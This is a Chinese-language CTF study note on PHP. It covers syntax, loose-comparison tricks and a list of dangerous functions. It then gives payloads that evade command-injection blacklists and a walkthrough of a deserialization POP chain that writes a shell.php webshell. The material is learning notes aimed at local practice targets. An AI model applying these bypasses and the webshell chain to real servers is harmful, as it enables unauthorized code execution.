PHP 语言学习笔记（CTF Web 方向）

目录

- 一、PHP 基础语法
  - 1.1 环境与运行
  - 1.2 文件结构与注释
  - 1.3 变量与类型
  - 1.4 运算符与比较（CTF 重点）
  - 1.5 条件与循环
  - 1.6 数组（重点）
  - 1.7 函数
  - 1.8 字符串
  - 1.9 超全局变量与文件
- 二、危险函数与 RCE
  - 2.1 危险函数清单
  - 2.2 黑名单过滤绕过
  - 2.3 Linux 常用绕过技巧
- 三、反序列化漏洞
  - 3.1 序列化格式
  - 3.2 魔术方法
  - 3.3 POP 链
  - 3.4 __wakeup 绕过
  - 3.5 实战 getshell 流程
- 四、CTF 高频坑速记
- 五、学习资源清单

一、PHP 基础语法

1.1 环境与运行

- PHP 是**服务器端脚本语言**，跑在服务器（Apache/Nginx）上动态生成网页。
- 浏览器只看到 PHP 输出的结果，**看不到源码**。
- 本地环境：phpstudy（`D:\phpstudy_pro`），CLI 运行方式：

```
php 文件名.php
```

- 网页运行：用 PHP 内置服务器 `php -S 127.0.0.1:端口 -t 目录`。

运行流程：浏览器发请求 → 服务器执行 PHP → PHP 算出结果 → 返回给浏览器。

1.2 文件结构与注释

```
<?php              // PHP 代码从这里开始
// 单行注释（# 也行）
/* 多行注释 */
echo "Hello";      // 每条语句以 ; 结尾
?>
```

- PHP 代码必须包在 `<?php ... ?>` 里。
- 没有 `main()`，脚本从上到下**逐行执行**。
- 注释 `//` `#`（单行）、`/* */`（多行）不执行。

1.3 变量与类型

```
$name = "CTF";   // 字符串
$age  = 18;      // 整数
$price = 3.99;   // 浮点
$isWeb = true;   // 布尔
```

- 变量**必须带** `$`，不用声明类型（弱类型）。
- **同一个变量可中途改类型**：`$x = 10; $x = "字符串";`（CTF 漏洞常源于此）。
- 未赋值变量 = `NULL`，输出不报错。
- **类型自动转换**：`"42" + 8 = 50`（字符串自动当数字）。
- 常量：`define("X", 值)` 或 `const X = 值;`。
- **变量变量** `$$`：用变量的值当变量名。

1.4 运算符与比较（CTF 重点）

算术：`+ - * / %`（同 C）+ `**`（幂，C 没有）

字符串拼接：用 `.`（C 用 strcat）

```
"flag{" . "test}"   // → flag{test}
```

复合赋值：`+= -= *= /= .=`（`.=` 拼接追加）

逻辑：`&& || !`　**位运算**：`& | ^ ~ << >>`

`==` vs `===`（CTF 头号大坑）

运算符	比较方式	例子
`==`	松散：只比值，自动转类型	`1 == "1"` 真，`"abc" == 0` 真
`===`	严格：值和类型都相等	`1 === "1"` 假

```
1 == "1"      // true
"abc" == 0    // true（非数字字符串转 0）
0 == false    // true
"0e123" == "0e456"  // true（0e 开头 = 0）
```

0e 魔法哈希：任何 `0e` 开头的字符串都被当 0，互相之间相等。

> CTF 经典：
>
> `md5($a) == md5($b)`
>
> 且
>
> `$a != $b`
>
> ，找两个 md5 以 0e 开头的字符串即可通过。

数组绕过：`strcmp($arr, "abc")` 遇到数组返回 `NULL`，`NULL == 0` 为 true → 绕过校验。

1.5 条件与循环

和 C 几乎一样：

```
if / elseif / else
switch ... case ... break
for ($i=0; $i<5; $i++)
while ($j < 3)
```

新增 foreach（遍历数组标准姿势）：

```
// 索引数组：逐个取
foreach ($arr as $v) { ... }

- 数组里每个元素依次赋值给 `$v`，循环体处理 `$v`。
- 只读用，改 `$v` 不影响原数组（因为 `$v` 是元素的拷贝）。
```

php

```php
$nums = [10, 20, 30];
foreach ($nums as $v) {
    echo $v * 2;   // 20 40 60，原数组没变
}
```

```
// 关联数组：同时拿键和值
foreach ($arr as $k => $v) { ... }
- 数组除了 "值"，还有 "键"（key）。索引数组的键是 `0,1,2...`，关联数组的键是自定义字符串。
- `=>` 左边 `$k` 是键，右边 `$v` 是值。
```

php

```php
$user = ['name' => 'Tom', 'age' => 20];
foreach ($user as $k => $v) {
    echo "$k: $v\n";   // name: Tom   /   age: 20
}
```

```
// 用 & 引用改原件
foreach ($nums as &$n) { $n *= 10; }
unset($n);   // 用完解除引用
```

3. 用 `&` 引用，直接改原件

```php
foreach ($nums as &$n) {
    $n *= 10;
}
unset($n);
```

- `&$n` 表示 `$n` 是数组元素的**引用**（指向原位置），所以 `$n *= 10` 直接改的是原数组。
- 结果：`$nums` 变成 `[100, 200, 300]`。

1.6 数组（重点）

两种数组：

```
$tags = ["php","web","rce"];      // 索引：按下标 [0][1][2]
$user = ["name" => "admin"];      // 关联：按名字 ["name"]
```

动态增删（C 做不到）：

```
$cart = [];
$cart[] = "苹果";          // 尾部追加，自动编号
$cart["price"] = 5;        // 直接加键值对
unset($cart["price"]);     // 删除键
```

`=>` **键值对**：左边键名（标签），右边值（内容）。

嵌套数组：`$deep["users"]["admin"]["level"]`

数组合并：

```
$a + $b;              // +：左边优先，重复键保留左边
array_merge($a,$b);   // merge：右边覆盖左边
```

常用：`count($arr)` 长度、`isset($arr["k"])` 判断键存在。

1.7 函数

```
function add($a, $b) { return $a + $b; }   // 不写返回类型
function greet($name = "游客") { ... }      // 默认参数
```

- **作用域**：函数内读全局变量要 `global $x;`，否则拿到 NULL（CTF 常见坑）。

- 传引用：参数前加 `&`。
- 匿名函数 / 闭包：`function(){}`。

1.8 字符串

函数	作用	例子
`strlen`	长度	`strlen("abc")=3`
`strpos`	找位置	`strpos($s,"CTF")`
`explode`	按分隔符拆数组	`explode(",",$s)`
`implode`	数组转串	`implode(",",$a)`
`str_replace`	替换	`str_replace("a","b",$s)`
`substr`	截取	`substr($s,0,5)`
`strtolower/strtoupper`	大小写	—
`strrev`	反转	—
`preg_match`	正则匹配	过滤常用

- 双引号解析变量，单引号不解析。

1.9 超全局变量与文件

超全局变量（关联数组）：

变量	来源	说明
`$_GET`	URL `?a=x`	—
`$_POST`	POST 表单	—
`$_REQUEST`	GET+POST+Cookie 合并	**POST 优先**
`$_COOKIE`	Cookie	反序列化入口常在这
`$_SERVER`	服务器信息	UA/IP 可当输入点
`$_FILES`	文件上传	上传题核心

- `?a[]=1` 会把参数变成**数组**（绕过校验的根源）。
- `$_REQUEST` **同名时 POST 优先** → 可绕过只过滤 `$_GET` 的逻辑。

文件包含：

```
include "secret.php";   // 文件不存在：警告，继续
require "secret.php";   // 文件不存在：致命错误
```

`include` 后跟用户可控值 → **文件包含漏洞（LFI）**。

文件读写：

```
file_get_contents("file")   // 读
file_put_contents("file",内容) // 写
```

二、危险函数与 RCE

2.1 危险函数清单

函数	作用	CTF 用途
`system()`	执行命令并输出	直接 RCE
`exec()`	执行命令返回最后一行	RCE
`shell_exec()`	执行命令返回全部输出	RCE
`passthru()`	执行并原样输出	RCE
`eval()`	字符串当 PHP 代码执行	**最危险**，代码执行
`assert()`	检查表达式，可利用执行	老版本 RCE
`preg_replace('/e')`	正则替换时执行	老版本 RCE

2.2 黑名单过滤绕过

核心思想：过滤检查的是**明文字符**，只要命令**解析后变成目标命令**、但明文字符串里没有关键词，就绕过。

要绕	技巧
空格	用 tab（URL 里 `%09`）、`${IFS}`
命令名	`ty^pe`（`^` 转义）、换等价命令 `type→more`
关键词	通配符 `fl*g.txt`、引号拼接
编码	base64 编码再解码执行

示例（本地实测）：黑名单过滤空格、type、flag：

```
type%20flag.txt      → 被拦（含空格）
type%09flag.txt      → 拦截信息变成"type"（空格已绕，剩 type）
ty^pe%09fl*g.txt     → 成功读到 flag
more%09fl*g.txt      → 成功（换命令 + 通配符）
```

2.3 Linux 常用绕过技巧

（真实 CTF 题多在 Linux 服务器）

要绕	Linux 技巧
空格	`${IFS}`、`$IFS$9`、`%09`、`<` 重定向
关键词	单引号拼接 `fl''ag`、反斜杠 `f\l\ag`、`$@`/`$9`、通配符
命令名	`cat`→`tac`/`more`/`less`/`head`、`/bin/ca''t`
编码	`base64` 编码再 `

三、反序列化漏洞

3.1 序列化格式

```
serialize($obj);      // 对象 → 字符串
unserialize($str);    // 字符串 → 对象
```

类型字母：

字母	类型	例子
`b`	布尔	`b:1;` 真 / `b:0;` 假
`i`	整数	`i:10;`
`d`	浮点	`d:3.14;`
`s`	字符串	`s:2:"hi";`
`N`	null	`N;`
`a`	数组	`a:2:{...}`
`O`	对象	`O:4:"User":...`

对象格式解读：

```
O:4:"User":2:{s:4:"name";s:3:"CTF";s:4:"role";s:5:"guest";}
| 类名长  类名    属性数  |键名|  |键值|  |键名|   |键值|
```

3.2 魔术方法

以 `__` 开头，PHP 在特定时刻**自动调用**：

方法	触发时机	CTF 价值
`__construct`	`new` 时	构造

方法	触发时机	CTF 价值
`__destruct`	对象销毁时	**常藏危险操作**
`__wakeup`	`unserialize` 时	反序列化必触发
`__toString`	当字符串用对象	常被串联
`__call`	调不存在的方法	高级利用
`__invoke`	当函数用对象	可触发执行
`__get/__set`	访问不存在属性	—

漏洞原理：代码把用户输入直接 `unserialize`，而某类魔术方法里有危险操作 → 攻击者控制属性值触发。

3.3 POP 链

POP = Property-Oriented Programming（面向属性编程），ROP 的属性版。

核心：攻击者不能直接调方法，只能控制属性；利用自动触发的魔术方法，把属性引导到危险函数。

示例（A→B→system）：

```
class A {
    public $obj;
    function __destruct() { $this->obj->run(); }   // 销毁时调 obj 的 run()
}
class B {
    public $cmd;
    function run() { system($this->cmd); }          // 危险终点
}
```

攻击者构造：

```
$a = new A();
$a->obj = new B();              // 把 A.obj 换成 B
$a->obj->cmd = "whoami";        // 填命令
echo serialize($a);             // 生成 payload
```

执行链：

```
unserialize(还原对象) → 脚本结束 A 销毁 → __destruct → obj->run()
→ B::run() → system(cmd) ✅
```

多跳链：`A→B→C→system`，每层靠属性指向连接，像多米诺骨牌。

读链方法：找 `system/eval` 终点 → 往回追谁调它 → 追到魔术方法起点 → 用属性串链。

3.4 __wakeup 绕过

CVE-2016-7124：序列化串里**属性数 > 实际属性数**时，PHP 跳过 `__wakeup()`。

```
// 正常：O:4:"Test":1:{...}      → __wakeup 触发
// 绕过：O:4:"Test":99:{...}     → __wakeup 跳过
```

用途：`__wakeup` 里若有拦截 / 校验，夸大属性数跳过它，危险操作就能执行。

（本地 PHP 7.3.4 实测跳过生效，但部分版本属性还原可能受影响）

3.5 实战 getshell 流程

题目：`unserialize($_GET['data'])` 用户可控，`File::__destruct` 写文件。

完整流程：

1. **读源码**：找 `unserialize` 漏洞点、找危险魔术方法（`__destruct` 写文件）
2. **确定目标属性**：`filename`（写哪）、`content`（写什么）
3. **用 serialize () 生成 payload**（不手拼）：

```
$f = new File();
$f->filename = "shell.php";
$f->content  = '<?php echo "HACKED"; ?>';
echo serialize($f);
```

1. **URL 编码提交**：特殊字符 `{ } " ;` 需编码（`%7B %7D %22 %3B`）
2. **访问生成的 shell.php 验证** → getshell 成功

四、CTF 高频坑速记

1. `"0e123" == 0` 为真（0e 开头 = 0）；`"abc" == 0` 为真
2. `===` 才查类型，`==` 只比值
3. `?a[]=1` 把参数变数组 → `md5/strcmp/preg_match` 失灵
4. `$_REQUEST` 混吃三种来源，POST 优先 → 绕过单来源过滤
5. `eval/system/assert/include` 是 RCE 与文件包含入口
6. 类内读全局要 `global`，否则 NULL
7. 反序列化漏洞 = 用户可控 `unserialize` + 危险魔术方法（`__destruct/__wakeup`）

8. 过滤黑名单拦的是明文字符 → 用等价写法（tab / 通配符 / 拼接 / 换命令）绕过

五、学习资源清单

笔记 / 对照表：

- 笔记-PHP符号与运算符速查.md
- 笔记-对象访问符与this.md
- C-vs-PHP语法对照表.md

演示脚本（php-learn/）：

- demo1.php ~ demo11.php（语法 + 漏洞演示）
- test_params.php / test_req.php（参数演示）
- rce.php / flag.txt（RCE 靶子）
- secret.php（文件包含靶子）
- serialize_types.php（序列化类型字母）

实战靶题（challenge/）：

- vuln.php（反序列化题）
- gen_payload.php（payload 生成器）
- shell.php（实战 getshell 结果）

截图素材：

- 素材-字符串函数表.png
- 素材-过滤黑名单原理.png
- 素材-Linux绕过技巧.png
- 素材-POP链流程图.png

笔记会随学习进度持续更新。